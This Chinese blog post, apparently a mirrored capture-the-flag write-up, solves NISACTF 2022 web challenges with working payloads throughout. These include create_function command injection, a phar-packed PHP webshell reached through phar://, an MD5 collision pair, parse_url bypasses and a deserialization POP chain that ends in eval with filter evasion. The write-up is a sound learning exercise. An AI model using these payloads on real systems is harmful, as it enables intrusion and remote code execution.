最新动态
[NISACTF 2022]上
2024-10-31 20:49

目录

[NISACTF 2022]上

[NISACTF 2022]checkin

​编辑 [NISACTF 2022]level-up

第三层  sha1碰撞

第四层 

第五层

[NISACTF 2022]babyupload

[NISACTF 2022]easyssrf 

[NISACTF 2022]bingdundun~

第一步:构造phar包

第二步

第三步

[NISACTF 2022]babyserialize 

(1)eval反推到__invoke

(2)__invoke反推到__toString

(3)__toString反推到__set

(4)从__set反推到__call


有 create function注入,和parse_url的知识,phar发送木马文件压缩绕过

md5强比较,sha1强比较,editor的使用学到蛮多了加油

打开界面本来以为是简单的get传参,结果发现有的字符不能选中,选了好几下也不可以很蹊跷,仅仅想到了可能是代替的一些东西吧,然后csdn了一下

【神奇的Unicode编码】这个符号竟然可以从右往左打印字符串 - Lxxx

 php打开,发现存在特殊字符,因为这道题,了解了一个软件editor

然后url编码就可以,比如先找get里面的

 %E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E

 

 %E2%80%AE%E2%81%A6%20%46%6c%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

真不容易呀,加油

这道题打开以后发现少都没有,但是感觉disallow这是一个突破口

实在不知道是啥,然后搜了一下disallow,发现这个是存在与robots.txt文件中的,浏览器访问一下

 啊啊啊,出来了,访问下面的php,爆出来了源码

array1[]=1&array2[]=2本来觉得数组绕过就可以可是,发现输出了????

原因是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去

所以我们需要一个,md5前不相等,而md5后全等的

 payload:array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
 

第三层  sha1碰撞

第四层 

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as`CTF[SHOW.COM`=>`CTF_SHOW.COM`

 这样也可以,或者

考察parse_url的漏洞

http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever

parse_url函数的解释和绕过_q1352483315的博客-CSDN博客_url绕过

第五层

 额应该是最后一惯了,看见$a($b)想到create function注入,自带eval命令执行

因为$a正则所以开头加个绕过

?a=create_function&b=}system('tac /flag');//

}为了闭合前面 //注释掉后面得出flag

打开页面,哦一道文件上传的题,想看看源码,有没有前端过滤啥的,结果看见了source,访问一下

下载得到一个python文件,可以知道这是一个flask项目,这就开始了审代码环节

也就是说,我们让res[0]为就行了

 

只需要把filename设为/flag,文件内容随便写,上传就会获得网站,点开就会出现flag

自从被坑过,easy这种已经不相信了

 这种方式不正确,可是弄出来了提示

file读取文件

 

stristr:函数是,字符串二在字符串一中的位置,如果有返回当前到之后,第三个变量默认为false,如果是true则返回当前串之前的字符 

 

伪协议搞定

.php htacess后缀都不能上传,传了个图片码可是,连不上呀,断绝了我的想法

 看完师傅们的wp我,不禁赞叹,完全没想到本来以为phar协议只会出现在反序列化里面

可以看到提示有图片或者压缩包,想到了phar协议和zip协议,其实在此之前我是根本没听过这两个协议的(惭愧

第一步:构造phar包

创建一个test.php

其实相对于,phar反序列化,少一个mete序列化

第二步

把生成的exp.phar,改成exp.zip然后通过文件上传功能点上传

第三步

访问上传的文件zip/test是一句话木马写入的文件名

然后可以链接蚁建

密码8

http://1.14.71.254:28416/?bingdundun=phar://2fac0d2460c2648c7b8b624a9a71e42e.zip/test

或者

pop链表题,先找尾巴也就是可以实现输出flag的命令

public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }       感觉eval可以实现

(1)eval反推到__invoke

这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中

__invoke魔术方法是对象被当做函数进行调用的时候所触发

这里就反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

(3)__toString反推到__set

在four的__set中,调用了strolower方法。对字符串进行了操作

(4)从__set反推到__call

__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

构造

invoke-->tostring-->set-->call-->wakeup

NISA--->ilovetxw--->four-->ilovetxw->Tianxiwei

 根据题目,hint

   if($this->fun=="show_me_flag"){
            hint(); 然后把hint的属性清空

看见有过滤,我第一次传参 system过滤掉了,大小写就可以绕过

public $txw4ever = "$a='sy';$b='stem';($a.$b)('cat /f*');";也是一种绕过手段

尤其是system后面的分号必须加

public $txw4ever="System('cat /fllllllaaag');改为cat就可以了

 这道题干了我一个小时,还是不够熟练加油

    以上就是本篇文章【[NISACTF 2022]上】的全部内容了,欢迎阅览 ! 文章地址:http://dfvalve.xrbh.cn/quote/2331.html 
     行业      资讯      企业新闻      行情      企业黄页      同类资讯      网站地图      返回首页 迅博思语资讯移动站 http://keant.xrbh.cn/ , 查看更多